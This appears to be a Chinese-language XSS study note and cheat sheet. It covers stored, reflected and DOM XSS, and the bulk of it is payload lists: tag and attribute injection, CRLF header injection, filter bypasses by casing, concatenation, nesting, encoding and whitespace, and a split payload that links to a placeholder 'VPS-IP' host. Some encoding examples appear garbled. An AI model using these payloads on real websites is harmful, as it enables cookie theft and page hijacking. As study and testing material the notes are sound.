# 类型
# 存储型 XSS
一般是将恶意代码通过交互界面上传到后端,然后从而上传到数据库中,当管理员 admin 查询数据库的信息时,恶意脚本又从后端到了前端,这也就是存储型 XSS 的数据流通。
// 后端要存储到数据库中
# 测试
在评论区中输入 <script>alert (1)</script > 能够成功弹窗
# 反射型 XSS
需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。大多数是用来盗取用户的 Cookie 信息。
// 前端显示了我们的输入
例如
<p> 您好,<?php echo $_GET ['name']; ?>!</p>
# 测试
同上输入
# DOM 型 XSS
在前端 url 添加我们的恶意脚本,然后直接在页面输出了
// 前端通过 javascript 直接输出了我们的输入
# 测试
xxxx/?name=<script>alert(1)</script> |
# 对象
# 注释
<!-- | |
<script> | |
alert ('XSS 攻击成功!'); | |
</script> | |
--> |
# 标签属性
<img src="image.png" onerror="<script>alert('potatowo')</script>"> |
# 标签属性名
<input type="text" onclick="alert('Evi1s7')" name="><script>alert('XSS攻击成功!')</script>"> |
# 标签名
<<script>alert('potatowo')</script>img src="image.png"> |
# CSS
<div style="background-image:url('javascript:alert(`Evi1s7`)');"> |
# HTTP 响应
??
在 HTTP 协议中,CRLF 被用来分隔 HTTP 请求和响应中的各个部分。
CRLF 漏洞( HTTP 报头注入漏洞),攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体,一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容,从而实现恶意操作。
比如一个 GET 传参
exp:?key=aaa
如果存在 CRLF 漏洞,那么就可以:
?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>
利用 CRLF 漏洞将 http 包分为 header 和 body,进而执行 body 中的代码,实现 XSS
可以在 httpheader 中注入 X-XSS-Protection:0 来绕过浏览器的过滤规则
# 绕过
# 关键词绕过
# 1. 大小写绕过
源代码中用了 strtolower () 等函数
xxx?q=<sCriPt>alert(1)<sCriPt> |
# 2. 拼接绕过
# 2.1 eval
eval('al'+'ert(1)') |
# 2.2 top
top['al'+'ert'](1) |
# 2.3 window
top['al'+'ert'](1) |
# 2.4 self
self[`al`+`ert`](1) |
# 2.5 parent
parent[`al`+`ert`](1) |
# 2.6 frames
frames[`al`+`ert`](1) |
# 3. 函数替换
eval(alert(1))
open(alert(1))
document.write(alert(1))
此外还有:
setTimeout()
setInterval()
Set.constructor()
Map.constructor()
Array.constructor()
WeakSet.constructor()
[1].map()
[1].find()
[1].every()
[1].fliter()
[1].forEach()
[1].findIndex()
# 4. 嵌套绕过
<sc<script>ript>alert('Evi1s7')</sc</script>ript> |
# 5. 赋值绕过
<img src onerror=_=alert,_(1)> <img src x=al y=ert onerror=top[x+y](1)> <img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。 <img src onerror=top[a='al',b='ev',b+a]('alert(1)')> <img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
看不懂是这样的
# 编码绕过
# 1.html 实体编码转义
<a href=javascript:alert(1)>aaa</a>
改成(填充 0)
<a href=javascript:alert(1)>aaa</a>
# 2.url 编码绕过
存在 href 属性或者 src 属性,才可以利用 url 编码转义
注意:在 url 解析过程中,不能对协议类型进行任何的编码操作
<a href=javascript:alert(1)>Evi1s7</a>
改成
<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>
src:<script><img><iframe><audio><video>
href:<a><link><base><area>
# 3. 空格绕过
在 html 的标签中的不同位置的空格绕过方式不是一样的
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
A 位置: /,/123/,%09,%0A,%0C,%0D,%20
B 位置:%09,%0A,%0C,%0D,%20
C 位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D 位置:%09,%0A,%0C,%0D,%20,//,>
# 4.() 绕过
# 1. 利用反引号
<script>alert`1`</script> |
# 2.throw 绕过
<script>alert;throw 1</script> | |
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
# 5. 单引号过滤
使用 /
或者 ` 替代
# 6.alert 过滤绕过
prompt() / confirm() / console.log() / document.write()
或者利用编码绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"> | |
#alert(1) | |
<a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a> | |
#alert(1) |
# 7. 长度限制
拆分法
<script>a='document.write("'</script> | |
<script>a=a+'<a href=ht'</script> | |
<script>a=a+'tp://VPS-IP:po'</script> | |
<script>a=a+'rt>Evi1s7</a>")'</script> | |
<script>eval(a)</script> |
利用 eval () 函数将字符串解析为可执行的代码,从而进行拼接
document.write("<a href=http://VPS-IP:port>Evi1s7</a>") |
# 8. 分号绕过
换成 {}